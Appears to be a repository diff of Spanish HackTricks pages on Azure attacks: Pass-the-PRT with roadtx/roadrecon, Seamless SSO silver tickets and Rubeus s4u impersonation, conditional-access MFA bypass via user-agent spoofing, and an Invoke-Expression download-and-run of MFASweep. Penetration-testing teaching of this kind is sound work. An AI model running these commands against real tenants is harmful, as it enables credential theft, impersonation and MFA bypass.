-roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
-```
-- Ahora podemos **solicitar tokens** utilizando el navegador interactivo con `roadtx browserprtauth`. Si usamos el comando `roadtx describe`, vemos que el token de acceso incluye un reclamo de MFA porque el PRT que utilicé en este caso también tenía un reclamo de MFA.
-```bash
-roadtx browserprtauth
-roadtx describe < .roadtools_auth
-```
-<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
-
-#### Opción 3 - roadrecon usando claves derivadas
-
-Teniendo el contexto y la clave derivada volcada por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con:
-```bash
-roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
-```
-## Referencias
-
-- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
-- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
-- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md

@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escriben sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
+[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escriben sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
 
 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
@@ -12,7 +12,7 @@ Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en
 
 Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
 
-El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Entra ID** durante la configuración.
+El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada como texto plano a Entra ID** durante la configuración.
 
 Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Entra ID utiliza la contraseña enviada para desencriptar los tickets.
 
@@ -37,7 +37,7 @@ $searcher.FindOne()
 ## Pivoting: On-prem -> cloud
 
 > [!WARNING]
-> Lo principal que hay que saber sobre este ataque es que tener solo el TGT o un TGS específico de un usuario que está sincronizado con Entra ID es suficiente para acceder a los recursos en la nube.\
+> Lo principal que hay que saber sobre este ataque es que tener el TGT o un TGS específico de un usuario que está sincronizado con Entra ID es suficiente para acceder a los recursos en la nube.\
 > Esto se debe a que es un ticket lo que permite a un usuario iniciar sesión en la nube.
 
 Para obtener ese ticket TGS, el atacante necesita tener uno de los siguientes:
@@ -67,7 +67,7 @@ wmic useraccount get name,sid # Get the user SIDs
 ```
 Más información para configurar Firefox para trabajar con SSO sin problemas se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
 
-### Obtención de hashes de la cuenta AZUREADSSOACC$
+### Obtener hashes de la cuenta AZUREADSSOACC$
 
 La **contraseña** del usuario **`AZUREADSSOACC$` nunca cambia**. Por lo tanto, un administrador de dominio podría comprometer el **hash de esta cuenta**, y luego usarlo para **crear tickets de plata** para conectarse a Azure con **cualquier usuario local sincronizado**:
 ```bash
@@ -91,9 +91,9 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 > Con la información actual, podrías simplemente usar la herramienta **SeamlessPass** como se indicó anteriormente para obtener tokens de azure y entraid para cualquier usuario en el dominio.
 > También podrías usar las técnicas anteriores (y otras) para obtener el hash de la contraseña de la víctima que deseas suplantar en lugar de la cuenta `AZUREADSSOACC$`.
 
-#### Creando Tickets Silver
+#### Creando Tickets de Plata
 
-Con el hash ahora puedes **generar tickets silver**:
+Con el hash ahora puedes **generar tickets de plata**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -128,7 +128,7 @@ Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
 > Esto **no elude MFA si está habilitado** en el usuario.
 
 
-### On-prem -> Cloud a través de Delegación Constrainada Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+### On-prem -> Cloud a través de Delegación Constrainida Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
 Para realizar el ataque se necesita:
 
@@ -168,7 +168,7 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
 /impersonateuser:alice `
 /msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
 ```
-Puedes ahora usar el **TGS para acceder a los recursos de Azure como el usuario suplantado.**
+Ahora puedes usar el **TGS para acceder a los recursos de Azure como el usuario suplantado.**
 
 
 ### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md

@@ -22,7 +22,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
 ```
 ## Bypass de Políticas de Acceso Condicional
 
-Es posible que una política de acceso condicional esté **verificando información que puede ser fácilmente manipulada, permitiendo un bypass de la política**. Y si, por ejemplo, la política estaba configurando MFA, el atacante podrá eludirla.
+Es posible que una política de acceso condicional esté **verificando alguna información que puede ser fácilmente manipulada, permitiendo un bypass de la política**. Y si, por ejemplo, la política estaba configurando MFA, el atacante podrá eludirla.
 
 Al configurar una política de acceso condicional, es necesario indicar los **usuarios** afectados y los **recursos objetivo** (como todas las aplicaciones en la nube).
 
@@ -37,7 +37,7 @@ También es necesario configurar las **condiciones** que **activarán** la polí
 - Para eludir el inicio de sesión con una opción no seleccionada
 - **Filtro para dispositivos**: Es posible generar una regla relacionada con el dispositivo utilizado
 - **Flujos de autenticación**: Las opciones son “Flujo de código de dispositivo” y “Transferencia de autenticación”
-- Esto no afectará a un atacante a menos que esté tratando de abusar de alguno de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
+- Esto no afectará a un atacante a menos que esté tratando de abusar de cualquiera de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
 
 Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme…
 
@@ -48,7 +48,7 @@ Es posible establecer una condición basada en la **plataforma del dispositivo**
 <figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
 
 Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
-Puedes cambiar el user-agent **manualmente** en las herramientas de desarrollo:
+Puedes cambiar el user agent **manualmente** en las herramientas de desarrollador:
 
 <figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -64,7 +64,7 @@ Es posible configurar **políticas de acceso condicional para bloquear o forzar*
 
 <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
 
-Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión en cualquier aplicación**.\
+Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión solo en cualquier aplicación**.\
 La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de IDs de aplicación codificados** y tratará de iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito.
 
 Para **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
@@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
 Encuentra más información sobre este tipo de ataque en la siguiente página:
 
 {{#ref}}
-../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
+../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
 ## Herramientas
@@ -124,7 +124,7 @@ roadrecon plugin policies
 ```
 ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
 
-MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
+MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
 ```bash
 Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
 Invoke-MFASweep -Username <username> -Password <pass>
@@ -156,7 +156,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-Debido a que el **portal** de **Azure** **no está restringido**, es posible **obtener un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
+Debido a que el **portal** de **Azure** **no está restringido**, es posible **recopilar un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
 ```bash
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token